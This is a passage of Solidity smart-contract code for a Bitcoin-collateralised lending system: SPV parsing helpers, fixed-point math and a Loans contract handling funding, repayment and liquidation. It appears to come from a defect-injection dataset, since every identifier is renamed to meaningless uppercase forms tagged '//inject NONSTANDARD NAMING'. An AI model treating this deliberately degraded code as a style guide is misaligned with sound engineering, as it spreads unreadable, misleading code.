EXTRACTOUTPUTATINDEX182(bytes memory _vout, uint8 _index) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING uint256 _len; bytes memory _remaining; uint256 _offset = 1; for (uint8 _i = 0; _i < _index; _i ++) { _remaining = _vout.SLICE479(_offset, _vout.length - _offset); _len = DETERMINEOUTPUTLENGTH588(_remaining); _offset = _offset + _len; } _remaining = _vout.SLICE479(_offset, _vout.length - _offset); _len = DETERMINEOUTPUTLENGTH588(_remaining); return _vout.SLICE479(_offset, _len); } function EXTRACTOUTPUTSCRIPTLEN88(bytes memory _output) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return _output.SLICE479(8, 1); } function EXTRACTVALUELE862(bytes memory _output) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return _output.SLICE479(0, 8); } function EXTRACTVALUE239(bytes memory _output) internal pure returns (uint64) { //inject NONSTANDARD NAMING bytes memory _leValue = EXTRACTVALUELE862(_output); bytes memory _beValue = REVERSEENDIANNESS18(_leValue); return uint64(BYTESTOUINT790(_beValue)); } function EXTRACTOPRETURNDATA540(bytes memory _output) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING if (keccak256(_output.SLICE479(9, 1)) != keccak256(hex"6a")) { return hex""; } bytes memory _dataLen = _output.SLICE479(10, 1); return _output.SLICE479(11, BYTESTOUINT790(_dataLen)); } function EXTRACTHASH570(bytes memory _output) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING if (uint8(_output.SLICE479(9, 1)[0]) == 0) { uint256 _len = uint8(EXTRACTOUTPUTSCRIPTLEN88(_output)[0]) - 2; if (uint8(_output.SLICE479(10, 1)[0]) != uint8(_len)) { return hex""; } return _output.SLICE479(11, _len); } else { bytes32 _tag = keccak256(_output.SLICE479(8, 3)); if (_tag == keccak256(hex"1976a9")) { if (uint8(_output.SLICE479(11, 1)[0]) != 0x14 || keccak256(_output.SLICE479(_output.length - 2, 2)) != keccak256(hex"88ac")) { return hex""; } return _output.SLICE479(12, 20); } else if (_tag == keccak256(hex"17a914")) { if (uint8(_output.SLICE479(_output.length - 1, 1)[0]) != 0x87) { return hex""; } return _output.SLICE479(11, 20); } } return hex""; } function VALIDATEVIN629(bytes memory _vin) internal pure returns (bool) { //inject NONSTANDARD NAMING uint256 _offset = 1; uint8 _nIns = uint8(_vin.SLICE479(0, 1)[0]); if (_nIns >= 0xfd || _nIns == 0) { return false; } for (uint8 i = 0; i < _nIns; i++) { _offset += DETERMINEINPUTLENGTH677(_vin.SLICE479(_offset, _vin.length - _offset)); if (_offset > _vin.length) { return false; } } return _offset == _vin.length; } function VALIDATEVOUT976(bytes memory _vout) internal pure returns (bool) { //inject NONSTANDARD NAMING uint256 _offset = 1; uint8 _nOuts = uint8(_vout.SLICE479(0, 1)[0]); if (_nOuts >= 0xfd || _nOuts == 0) { return false; } for (uint8 i = 0; i < _nOuts; i++) { _offset += DETERMINEOUTPUTLENGTH588(_vout.SLICE479(_offset, _vout.length - _offset)); if (_offset > _vout.length) { return false; } } return _offset == _vout.length; } function EXTRACTMERKLEROOTLE545(bytes memory _header) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return _header.SLICE479(36, 32); } function EXTRACTMERKLEROOTBE364(bytes memory _header) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return REVERSEENDIANNESS18(EXTRACTMERKLEROOTLE545(_header)); } function EXTRACTTARGET28(bytes memory _header) internal pure returns (uint256) { //inject NONSTANDARD NAMING bytes memory _m = _header.SLICE479(72, 3); uint8 _e = uint8(_header[75]); uint256 _mantissa = BYTESTOUINT790(REVERSEENDIANNESS18(_m)); uint _exponent = _e - 3; return _mantissa * (256 ** _exponent); } function CALCULATEDIFFICULTY733(uint256 _target) internal pure returns (uint256) { //inject NONSTANDARD NAMING return diff1_target719.DIV358(_target); } function EXTRACTPREVBLOCKLE989(bytes memory _header) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return _header.SLICE479(4, 32); } function EXTRACTPREVBLOCKBE985(bytes memory _header) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return REVERSEENDIANNESS18(EXTRACTPREVBLOCKLE989(_header)); } function EXTRACTTIMESTAMPLE896(bytes memory _header) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return _header.SLICE479(68, 4); } function EXTRACTTIMESTAMP636(bytes memory _header) internal pure returns (uint32) { //inject NONSTANDARD NAMING return uint32(BYTESTOUINT790(REVERSEENDIANNESS18(EXTRACTTIMESTAMPLE896(_header)))); } function EXTRACTDIFFICULTY209(bytes memory _header) internal pure returns (uint256) { //inject NONSTANDARD NAMING return CALCULATEDIFFICULTY733(EXTRACTTARGET28(_header)); } function _HASH256MERKLESTEP183(bytes memory _a, bytes memory _b) internal pure returns (bytes32) { //inject NONSTANDARD NAMING return HASH256986(abi.encodePacked(_a, _b)); } function VERIFYHASH256MERKLE9(bytes memory _proof, uint _index) internal pure returns (bool) { //inject NONSTANDARD NAMING if (_proof.length % 32 != 0) { return false; } if (_proof.length == 32) { return true; } if (_proof.length == 64) { return false; } uint _idx = _index; bytes32 _root = _proof.SLICE479(_proof.length - 32, 32).TOBYTES32571(); bytes32 _current = _proof.SLICE479(0, 32).TOBYTES32571(); for (uint i = 1; i < (_proof.length.DIV358(32)) - 1; i++) { if (_idx % 2 == 1) { _current = _HASH256MERKLESTEP183(_proof.SLICE479(i * 32, 32), abi.encodePacked(_current)); } else { _current = _HASH256MERKLESTEP183(abi.encodePacked(_current), _proof.SLICE479(i * 32, 32)); } _idx = _idx >> 1; } return _current == _root; } function RETARGETALGORITHM78( //inject NONSTANDARD NAMING uint256 _previousTarget, uint256 _firstTimestamp, uint256 _secondTimestamp ) internal pure returns (uint256) { uint256 _elapsedTime = _secondTimestamp.SUB97(_firstTimestamp); if (_elapsedTime < retarget_period820.DIV358(4)) { _elapsedTime = retarget_period820.DIV358(4); } if (_elapsedTime > retarget_period820.MUL111(4)) { _elapsedTime = retarget_period820.MUL111(4); } uint256 _adjusted = _previousTarget.DIV358(65536).MUL111(_elapsedTime); return _adjusted.DIV358(retarget_period820).MUL111(65536); } } interface FundsInterface { function LENDER92(bytes32) external view returns (address); //inject NONSTANDARD NAMING function CUSTOM642(bytes32) external view returns (bool); //inject NONSTANDARD NAMING function DEPOSIT909(bytes32, uint256) external; //inject NONSTANDARD NAMING function DECREASETOTALBORROW522(uint256) external; //inject NONSTANDARD NAMING function CALCGLOBALINTEREST773() external; //inject NONSTANDARD NAMING } interface SalesInterface { function SALEINDEXBYLOAN897(bytes32, uint256) external returns(bytes32); //inject NONSTANDARD NAMING function SETTLEMENTEXPIRATION526(bytes32) external view returns (uint256); //inject NONSTANDARD NAMING function ACCEPTED582(bytes32) external view returns (bool); //inject NONSTANDARD NAMING function NEXT199(bytes32) external view returns (uint256); //inject NONSTANDARD NAMING function CREATE943(bytes32, address, address, address, address, bytes32, bytes32, bytes32, bytes32, bytes20) external returns(bytes32); //inject NONSTANDARD NAMING } interface CollateralInterface { function ONDEMANDSPV389() external view returns(address); //inject NONSTANDARD NAMING function COLLATERAL382(bytes32 loan) external view returns (uint256); //inject NONSTANDARD NAMING function REFUNDABLECOLLATERAL879(bytes32 loan) external view returns (uint256); //inject NONSTANDARD NAMING function SEIZABLECOLLATERAL368(bytes32 loan) external view returns (uint256); //inject NONSTANDARD NAMING function TEMPORARYREFUNDABLECOLLATERAL760(bytes32 loan) external view returns (uint256); //inject NONSTANDARD NAMING function TEMPORARYSEIZABLECOLLATERAL228(bytes32 loan) external view returns (uint256); //inject NONSTANDARD NAMING function SETCOLLATERAL164(bytes32 loan, uint256 refundableCollateral_, uint256 seizableCollateral_) external; //inject NONSTANDARD NAMING function REQUESTSPV477(bytes32 loan) external; //inject NONSTANDARD NAMING function CANCELSPV463(bytes32 loan) external; //inject NONSTANDARD NAMING } contract DSMath { function ADD803(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING require((z = x + y) >= x); } function SUB97(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING require((z = x - y) <= x); } function MUL111(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING require(y == 0 || (z = x * y) / y == x); } function DIV358(uint a, uint b) internal pure returns (uint c) { //inject NONSTANDARD NAMING require(b > 0); c = a / b; } function MIN456(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING return x <= y ? x : y; } function MAX638(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING return x >= y ? x : y; } function IMIN865(int x, int y) internal pure returns (int z) { //inject NONSTANDARD NAMING return x <= y ? x : y; } function IMAX990(int x, int y) internal pure returns (int z) { //inject NONSTANDARD NAMING return x >= y ? x : y; } uint constant col735 = 10 ** 8; //inject NONSTANDARD NAMING uint constant wad510 = 10 ** 18; //inject NONSTANDARD NAMING uint constant ray271 = 10 ** 27; //inject NONSTANDARD NAMING function CMUL87(uint x, uint y) public pure returns (uint z) { //inject NONSTANDARD NAMING z = ADD803(MUL111(x, y), col735 / 2) / col735; } function WMUL533(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING z = ADD803(MUL111(x, y), wad510 / 2) / wad510; } function RMUL965(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING z = ADD803(MUL111(x, y), ray271 / 2) / ray271; } function CDIV416(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING z = ADD803(MUL111(x, col735), y / 2) / y; } function WDIV128(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING z = ADD803(MUL111(x, wad510), y / 2) / y; } function RDIV519(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING z = ADD803(MUL111(x, ray271), y / 2) / y; } function RPOW933(uint x, uint n) internal pure returns (uint z) { //inject NONSTANDARD NAMING z = n % 2 != 0 ? x : ray271; for (n /= 2; n != 0; n /= 2) { x = RMUL965(x, x); if (n % 2 != 0) { z = RMUL965(z, x); } } } } contract Medianizer { function PEEK685() external view returns (bytes32, bool); //inject NONSTANDARD NAMING function READ913() external returns (bytes32); //inject NONSTANDARD NAMING function POKE561() external; //inject NONSTANDARD NAMING function POKE561(bytes32) external; //inject NONSTANDARD NAMING function FUND172 (uint256 amount, ERC20 token) external; //inject NONSTANDARD NAMING } contract Loans is DSMath { FundsInterface funds; Medianizer med; SalesInterface sales; CollateralInterface col; uint256 public constant approve_exp_threshold840 = 2 hours; //inject NONSTANDARD NAMING uint256 public constant accept_exp_threshold947 = 2 days; //inject NONSTANDARD NAMING uint256 public constant liquidation_exp_threshold443 = 7 days; //inject NONSTANDARD NAMING uint256 public constant seizure_exp_threshold699 = 2 days; //inject NONSTANDARD NAMING uint256 public constant liquidation_discount317 = 930000000000000000; //inject NONSTANDARD NAMING uint256 public constant max_num_liquidations552 = 3; //inject NONSTANDARD NAMING uint256 public constant max_uint_256251 = 2**256-1; //inject NONSTANDARD NAMING mapping (bytes32 => Loan) public loans; mapping (bytes32 => PubKeys) public pubKeys; mapping (bytes32 => SecretHashes) public secretHashes; mapping (bytes32 => Bools) public bools; mapping (bytes32 => bytes32) public fundIndex; mapping (bytes32 => uint256) public repayments; mapping (address => bytes32[]) public borrowerLoans; mapping (address => bytes32[]) public lenderLoans; mapping (address => mapping(uint256 => bool)) public addressToTimestamp; uint256 public loanIndex; ERC20 public token; uint256 public decimals; address deployer; struct Loan { address borrower; address lender; address arbiter; uint256 createdAt; uint256 loanExpiration; uint256 requestTimestamp; uint256 closedTimestamp; uint256 principal; uint256 interest; uint256 penalty; uint256 fee; uint256 liquidationRatio; } struct PubKeys { bytes borrowerPubKey; bytes lenderPubKey; bytes arbiterPubKey; } struct SecretHashes { bytes32 secretHashA1; bytes32[3] secretHashAs; bytes32 secretHashB1; bytes32[3] secretHashBs; bytes32 secretHashC1; bytes32[3] secretHashCs; bytes32 withdrawSecret; bytes32 acceptSecret; bool set; } struct Bools { bool funded; bool approved; bool withdrawn; bool sale; bool paid; bool off; } event CREATE22(bytes32 loan); //inject NONSTANDARD NAMING event SETSECRETHASHES818(bytes32 loan); //inject NONSTANDARD NAMING event FUNDLOAN50(bytes32 loan); //inject NONSTANDARD NAMING event APPROVE490(bytes32 loan); //inject NONSTANDARD NAMING event WITHDRAW160(bytes32 loan, bytes32 secretA1); //inject NONSTANDARD NAMING event REPAY404(bytes32 loan, uint256 amount); //inject NONSTANDARD NAMING event REFUND289(bytes32 loan); //inject NONSTANDARD NAMING event CANCEL833(bytes32 loan, bytes32 secret); //inject NONSTANDARD NAMING event ACCEPT489(bytes32 loan, bytes32 secret); //inject NONSTANDARD NAMING event LIQUIDATE130(bytes32 loan, bytes32 secretHash, bytes20 pubKeyHash); //inject NONSTANDARD NAMING function BORROWER75(bytes32 loan) external view returns (address) { //inject NONSTANDARD NAMING return loans[loan].borrower; } function LENDER92(bytes32 loan) external view returns (address) { //inject NONSTANDARD NAMING return loans[loan].lender; } function ARBITER4(bytes32 loan) external view returns (address) { //inject NONSTANDARD NAMING return loans[loan].arbiter; } function APPROVEEXPIRATION234(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return ADD803(loans[loan].createdAt, approve_exp_threshold840); } function ACCEPTEXPIRATION879(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return ADD803(loans[loan].loanExpiration, accept_exp_threshold947); } function LIQUIDATIONEXPIRATION442(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return ADD803(loans[loan].loanExpiration, liquidation_exp_threshold443); } function SEIZUREEXPIRATION523(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return ADD803(LIQUIDATIONEXPIRATION442(loan), seizure_exp_threshold699); } function PRINCIPAL566(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return loans[loan].principal; } function INTEREST523(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return loans[loan].interest; } function FEE426(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return loans[loan].fee; } function PENALTY434(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return loans[loan].penalty; } function COLLATERAL382(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return col.COLLATERAL382(loan); } function REFUNDABLECOLLATERAL879(bytes32 loan) external view returns (uint256) { //inject NONSTANDARD NAMING return col.REFUNDABLECOLLATERAL879(loan); } function SEIZABLECOLLATERAL368(bytes32 loan) external view returns (uint256) { //inject NONSTANDARD NAMING return col.SEIZABLECOLLATERAL368(loan); } function TEMPORARYREFUNDABLECOLLATERAL760(bytes32 loan) external view returns (uint256) { //inject NONSTANDARD NAMING return col.TEMPORARYREFUNDABLECOLLATERAL760(loan); } function TEMPORARYSEIZABLECOLLATERAL228(bytes32 loan) external view returns (uint256) { //inject NONSTANDARD NAMING return col.TEMPORARYSEIZABLECOLLATERAL228(loan); } function REPAID307(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return repayments[loan]; } function LIQUIDATIONRATIO684(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return loans[loan].liquidationRatio; } function OWEDTOLENDER7(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return ADD803(PRINCIPAL566(loan), INTEREST523(loan)); } function OWEDFORLOAN262(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return ADD803(OWEDTOLENDER7(loan), FEE426(loan)); } function OWEDFORLIQUIDATION588(bytes32 loan) external view returns (uint256) { //inject NONSTANDARD NAMING return ADD803(OWEDFORLOAN262(loan), PENALTY434(loan)); } function OWING794(bytes32 loan) external view returns (uint256) { //inject NONSTANDARD NAMING return SUB97(OWEDFORLOAN262(loan), REPAID307(loan)); } function FUNDED74(bytes32 loan) external view returns (bool) { //inject NONSTANDARD NAMING return bools[loan].funded; } function APPROVED714(bytes32 loan) external view returns (bool) { //inject NONSTANDARD NAMING return bools[loan].approved; } function WITHDRAWN418(bytes32 loan) external view returns (bool) { //inject NONSTANDARD NAMING return bools[loan].withdrawn; } function SALE305(bytes32 loan) public view returns (bool) { //inject NONSTANDARD NAMING return bools[loan].sale; } function PAID214(bytes32 loan) external view returns (bool) { //inject NONSTANDARD NAMING return bools[loan].paid; } function OFF578(bytes32 loan) public view returns (bool) { //inject NONSTANDARD NAMING return bools[loan].off; } function DMUL562(uint x) public view returns (uint256) { //inject NONSTANDARD NAMING return MUL111(x, (10 ** SUB97(18, decimals))); } function DDIV45(uint x) public view returns (uint256) { //inject NONSTANDARD NAMING return DIV358(x, (10 ** SUB97(18, decimals))); } function BORROWERLOANCOUNT920(address borrower_) external view returns (uint256) { //inject NONSTANDARD NAMING return borrowerLoans[borrower_].length; } function LENDERLOANCOUNT648(address lender_) external view returns (uint256) { //inject NONSTANDARD NAMING return lenderLoans[lender_].length; } function MINSEIZABLECOLLATERAL886(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING (bytes32 val, bool set) = med.PEEK685(); require(set, "Loans.minSeizableCollateral: Medianizer must be set"); uint256 price = uint(val); return DIV358(WDIV128(DMUL562(SUB97(OWEDFORLOAN262(loan), REPAID307(loan))), price), DIV358(wad510, col735)); } function COLLATERALVALUE260(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING (bytes32 val, bool set) = med.PEEK685(); require(set, "Loans.collateralValue: Medianizer must be set"); uint256 price = uint(val); return CMUL87(price, COLLATERAL382(loan)); } function MINCOLLATERALVALUE408(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return RMUL965(DMUL562(SUB97(OWEDFORLOAN262(loan), REPAID307(loan))), LIQUIDATIONRATIO684(loan)); } function DISCOUNTCOLLATERALVALUE221(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return WMUL533(COLLATERALVALUE260(loan), liquidation_discount317); } function SAFE528(bytes32 loan) public view returns (bool) { //inject NONSTANDARD NAMING return COLLATERALVALUE260(loan) >= MINCOLLATERALVALUE408(loan); } constructor (FundsInterface funds_, Medianizer med_, ERC20 token_, uint256 decimals_) public { require(address(funds_) != address(0), "Funds address must be non-zero"); require(address(med_) != address(0), "Medianizer address must be non-zero"); require(address(token_) != address(0), "Token address must be non-zero"); deployer = msg.sender; funds = funds_; med = med_; token = token_; decimals = decimals_; require(token.APPROVE357(address(funds), max_uint_256251), "Token approve failed"); } function SETSALES924(SalesInterface sales_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Loans.setSales: Only the deployer can perform this"); require(address(sales) == address(0), "Loans.setSales: The Sales address has already been set"); require(address(sales_) != address(0), "Loans.setSales: Sales address must be non-zero"); sales = sales_; } function SETCOLLATERAL164(CollateralInterface col_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Loans.setCollateral: Only the deployer can perform this"); require(address(col) == address(0), "Loans.setCollateral: The Collateral address has already been set"); require(address(col_) != address(0), "Loans.setCollateral: Collateral address must be non-zero"); col = col_; } function CREATE943( //inject NONSTANDARD NAMING uint256 loanExpiration_, address[3] calldata usrs_, uint256[7] calldata vals_, bytes32 fund ) external returns (bytes32 loan) { if (fund != bytes32(0)) { require(funds.LENDER92(fund) == usrs_[1], "Loans.create: Lender of Fund not in args"); } require(!addressToTimestamp[usrs_[0]][vals_[6]], "Loans.create: Duplicate request timestamps are not allowed"); require(loanExpiration_ > now, "Loans.create: loanExpiration must be greater than `now`"); require(usrs_[0] != address(0) && usrs_[1] != address(0), "Loans.create: Borrower and Lender address must be non-zero"); require(vals_[0] != 0 && vals_[4] != 0, "Loans.create: Principal and Collateral must be non-zero"); require(vals_[5] != 0 && vals_[6] != 0, "Loans.create: Liquidation ratio and Request timestamp must be non-zero"); loanIndex = ADD803(loanIndex, 1); loan = bytes32(loanIndex); loans[loan].createdAt = now; loans[loan].loanExpiration = loanExpiration_; loans[loan].borrower = usrs_[0]; loans[loan].lender = usrs_[1]; loans[loan].arbiter = usrs_[2]; loans[loan].principal = vals_[0]; loans[loan].interest = vals_[1]; loans[loan].penalty = vals_[2]; loans[loan].fee = vals_[3]; uint256 minSeizableCol = MINSEIZABLECOLLATERAL886(loan); col.SETCOLLATERAL164(loan, SUB97(vals_[4], minSeizableCol), minSeizableCol); loans[loan].liquidationRatio = vals_[5]; loans[loan].requestTimestamp = vals_[6]; fundIndex[loan] = fund; secretHashes[loan].set = false; borrowerLoans[usrs_[0]].push(bytes32(loanIndex)); lenderLoans[usrs_[1]].push(bytes32(loanIndex)); addressToTimestamp[usrs_[0]][vals_[6]] = true; emit CREATE22(loan); } function SETSECRETHASHES742( //inject NONSTANDARD NAMING bytes32 loan, bytes32[4] calldata borrowerSecretHashes, bytes32[4] calldata lenderSecretHashes, bytes32[4] calldata arbiterSecretHashes, bytes calldata borrowerPubKey_, bytes calldata lenderPubKey_, bytes calldata arbiterPubKey_ ) external { require(!secretHashes[loan].set, "Loans.setSecretHashes: Secret hashes must not already be set"); require( msg.sender == loans[loan].borrower || msg.sender == loans[loan].lender || msg.sender == address(funds), "Loans.setSecretHashes: msg.sender must be Borrower, Lender or Funds Address" ); secretHashes[loan].secretHashA1 = borrowerSecretHashes[0]; secretHashes[loan].secretHashAs = [ borrowerSecretHashes[1], borrowerSecretHashes[2], borrowerSecretHashes[3] ]; secretHashes[loan].secretHashB1 = lenderSecretHashes[0]; secretHashes[loan].secretHashBs = [ lenderSecretHashes[1], lenderSecretHashes[2], lenderSecretHashes[3] ]; secretHashes[loan].secretHashC1 = arbiterSecretHashes[0]; secretHashes[loan].secretHashCs = [ arbiterSecretHashes[1], arbiterSecretHashes[2], arbiterSecretHashes[3] ]; pubKeys[loan].borrowerPubKey = borrowerPubKey_; pubKeys[loan].lenderPubKey = lenderPubKey_; pubKeys[loan].arbiterPubKey = arbiterPubKey_; secretHashes[loan].set = true; } function FUND172(bytes32 loan) external { //inject NONSTANDARD NAMING require(secretHashes[loan].set, "Loans.fund: Secret hashes must be set"); require(bools[loan].funded == false, "Loans.fund: Loan is already funded"); bools[loan].funded = true; require(token.TRANSFERFROM570(msg.sender, address(this), PRINCIPAL566(loan)), "Loans.fund: Failed to transfer tokens"); emit FUNDLOAN50(loan); } function APPROVE357(bytes32 loan) external { //inject NONSTANDARD NAMING require(bools[loan].funded == true, "Loans.approve: Loan must be funded"); require(loans[loan].lender == msg.sender, "Loans.approve: Only the lender can approve the loan"); require(now <= APPROVEEXPIRATION234(loan), "Loans.approve: Loan is past the approve deadline"); bools[loan].approved = true; emit APPROVE490(loan); } function WITHDRAW186(bytes32 loan, bytes32 secretA1) external { //inject NONSTANDARD NAMING require(!OFF578(loan), "Loans.withdraw: Loan cannot be inactive"); require(bools[loan].funded == true, "Loans.withdraw: Loan must be funded"); require(bools[loan].approved == true, "Loans.withdraw: Loan must be approved"); require(bools[loan].withdrawn == false, "Loans.withdraw: Loan principal has already been withdrawn"); require(sha256(abi.encodePacked(secretA1)) == secretHashes[loan].secretHashA1, "Loans.withdraw: Secret does not match"); bools[loan].withdrawn = true; require(token.TRANSFER744(loans[loan].borrower, PRINCIPAL566(loan)), "Loans.withdraw: Failed to transfer tokens"); secretHashes[loan].withdrawSecret = secretA1; if (address(col.ONDEMANDSPV389()) != address(0)) {col.REQUESTSPV477(loan);} emit WITHDRAW160(loan, secretA1); } function REPAY242(bytes32 loan, uint256 amount) external { //inject NONSTANDARD NAMING require(!OFF578(loan), "Loans.repay: Loan cannot be inactive"); require(!SALE305(loan), "Loans.repay: Loan cannot be undergoing a liquidation"); require(bools[loan].withdrawn == true, "Loans.repay: Loan principal must be withdrawn"); require(now <= loans[loan].loanExpiration, "Loans.repay: Loan cannot have expired"); require(ADD803(amount, REPAID307(loan)) <= OWEDFORLOAN262(loan), "Loans.repay: Cannot repay more than the owed amount"); require(token.TRANSFERFROM570(msg.sender, address(this), amount), "Loans.repay: Failed to transfer tokens"); repayments[loan] = ADD803(amount, repayments[loan]); if (REPAID307(loan) == OWEDFORLOAN262(loan)) { bools[loan].paid = true; if (address(col.ONDEMANDSPV389()) != address(0)) {col.CANCELSPV463(loan);} } emit REPAY404(loan, amount); } function REFUND497(bytes32 loan) external { //inject NONSTANDARD NAMING require(!OFF578(loan), "Loans.refund: Loan cannot be inactive"); require(!SALE305(loan), "Loans.refund: Loan cannot be undergoing a liquidation"); require(now > ACCEPTEXPIRATION879(loan), "Loans.refund: Cannot request refund until after acceptExpiration"); require(bools[loan].paid == true, "Loans.refund: The loan must be repaid"); require(msg.sender == loans[loan].borrower, "Loans.refund: Only the borrower can request a refund"); bools[loan].off = true; loans[loan].closedTimestamp = now; if (funds.CUSTOM642(fundIndex[loan]) == false) { funds.DECREASETOTALBORROW522(loans[loan].principal); funds.CALCGLOBALINTEREST773(); } require(token.TRANSFER744(loans[loan].borrower, OWEDFORLOAN262(loan)), "Loans.refund: Failed to transfer tokens"); emit REFUND289(loan); } function CANCEL391(bytes32 loan, bytes32 secret) external { //inject NONSTANDARD NAMING ACCEPT922(loan, secret); emit CANCEL833(loan, secret); } function CANCEL391(bytes32 loan) external { //inject NONSTANDARD NAMING require(!OFF578(loan), "Loans.cancel: Loan must not be inactive"); require(bools[loan].withdrawn == false, "Loans.cancel: Loan principal must not be withdrawn"); require(now >= SEIZUREEXPIRATION523(loan), "Loans.cancel: Seizure deadline has not been reached"); require(bools[loan].sale == false, "Loans.cancel: Loan must not be undergoing liquidation"); CLOSE691(loan); emit CANCEL833(loan, bytes32(0)); } function ACCEPT922(bytes32 loan, bytes32 secret) public { //inject NONSTANDARD NAMING require(!OFF578(loan), "Loans.accept: Loan must not be inactive"); require(bools[loan].withdrawn == false || bools[loan].paid == true, "Loans.accept: Loan must be either not withdrawn or repaid"); require(msg.sender == loans[loan].lender || msg.sender == loans[loan].arbiter, "Loans.accept: msg.sender must be lender or arbiter"); require(now <= ACCEPTEXPIRATION879(loan), "Loans.accept: Acceptance deadline has past"); require(bools[loan].sale == false, "Loans.accept: Loan must not be going under liquidation"); require( sha256(abi.encodePacked(secret)) == secretHashes[loan].secretHashB1 || sha256(abi.encodePacked(secret)) == secretHashes[loan].secretHashC1, "Loans.accept: Invalid secret" ); secretHashes[loan].acceptSecret = secret; CLOSE691(loan); emit ACCEPT489(loan, secret); } function CLOSE691(bytes32 loan) private { //inject NONSTANDARD NAMING bools[loan].off = true; loans[loan].closedTimestamp = now; if (bools[loan].withdrawn == false) { if (fundIndex[loan] == bytes32(0)) { require(token.TRANSFER744(loans[loan].lender, loans[loan].principal), "Loans.close: Failed to transfer principal to Lender"); } else { if (funds.CUSTOM642(fundIndex[loan]) == false) { funds.DECREASETOTALBORROW522(loans[loan].principal); } funds.DEPOSIT909(fundIndex[loan], loans[loan].principal); } } else { if (fundIndex[loan] == bytes32(0)) { require(token.TRANSFER744(loans[loan].lender, OWEDTOLENDER7(loan)), "Loans.close: Failed to transfer owedToLender to Lender"); } else { if (funds.CUSTOM642(fundIndex[loan]) == false) { funds.DECREASETOTALBORROW522(loans[loan].principal); } funds.DEPOSIT909(fundIndex[loan], OWEDTOLENDER7(loan)); } require(token.TRANSFER744(loans[loan].arbiter, FEE426(loan)), "Loans.close: Failed to transfer fee to Arbiter"); } } function LIQUIDATE339(bytes32 loan, bytes32 secretHash, bytes20 pubKeyHash) external returns (bytes32 sale_) { //inject NONSTANDARD NAMING require(!OFF578(loan), "Loans.liquidate: Loan must not be inactive"); require(bools[loan].withdrawn == true, "Loans.liquidate: Loan principal must be withdrawn"); require(msg.sender != loans[loan].borrower && msg.sender != loans[loan].lender, "Loans.liquidate: Liquidator must be a third-party"); require(secretHash != bytes32(0) && pubKeyHash != bytes20(0), "Loans.liquidate: secretHash and pubKeyHash must be non-zero"); if (sales.NEXT199(loan) == 0) { if (now > loans[loan].loanExpiration) { require(bools[loan].paid == false, "Loans.liquidate: loan must not have already been repaid"); } else { require(!SAFE528(loan), "Loans.liquidate: collateralization must be below min-collateralization ratio"); } if (funds.CUSTOM642(fundIndex[loan]) == false) { funds.DECREASETOTALBORROW522(loans[loan].principal); funds.CALCGLOBALINTEREST773(); } } else { require(sales.NEXT199(loan) < max_num_liquidations552, "Loans.liquidate: Max number of liquidations reached"); require(!sales.ACCEPTED582(sales.SALEINDEXBYLOAN897(loan, sales.NEXT199(loan) - 1)), "Loans.liquidate: Previous liquidation already accepted"); require( now > sales.SETTLEMENTEXPIRATION526(sales.SALEINDEXBYLOAN897(loan, sales.NEXT199(loan) - 1)), "Loans.liquidate: Previous liquidation settlement expiration hasn't expired" ); } require(token.BALANCEOF227(msg.sender) >= DDIV45(DISCOUNTCOLLATERALVALUE221(loan)), "Loans.liquidate: insufficient balance to liquidate"); require(token.TRANSFERFROM570(msg.sender, address(sales), DDIV45(DISCOUNTCOLLATERALVALUE221(loan))), "Loans.liquidate: Token transfer failed"); SecretHashes storage h = secretHashes[loan]; uint256 i = sales.NEXT199(loan); sale_ = sales.CREATE943( loan, loans[loan].borrower, loans[loan].lender, loans[loan].arbiter, msg.sender, h.secretHashAs[i], h.secretHashBs[i], h.secretHashCs[i], secretHash, pubKeyHash ); if (bools[loan].sale == false) { bools[loan].sale = true; require(token.TRANSFER744(address(sales), REPAID307(loan)), "Loans.liquidate: Token transfer to Sales contract failed"); } if (address(col.ONDEMANDSPV389()) != address(0)) {col.CANCELSPV463(loan);} emit LIQUIDATE130(loan, secretHash, pubKeyHash); } } interface CTokenInterface { function REDEEM46(uint redeemTokens) external returns (uint); //inject NONSTANDARD NAMING function REDEEMUNDERLYING614(uint redeemAmount) external returns (uint); //inject NONSTANDARD NAMING function BORROW254(uint borrowAmount) external returns (uint); //inject NONSTANDARD NAMING function LIQUIDATEBORROW888(address borrower, uint repayAmount, address cTokenCollateral) external returns (uint); //inject NONSTANDARD NAMING function LIQUIDATEBORROW888(address borrower, address cTokenCollateral) external 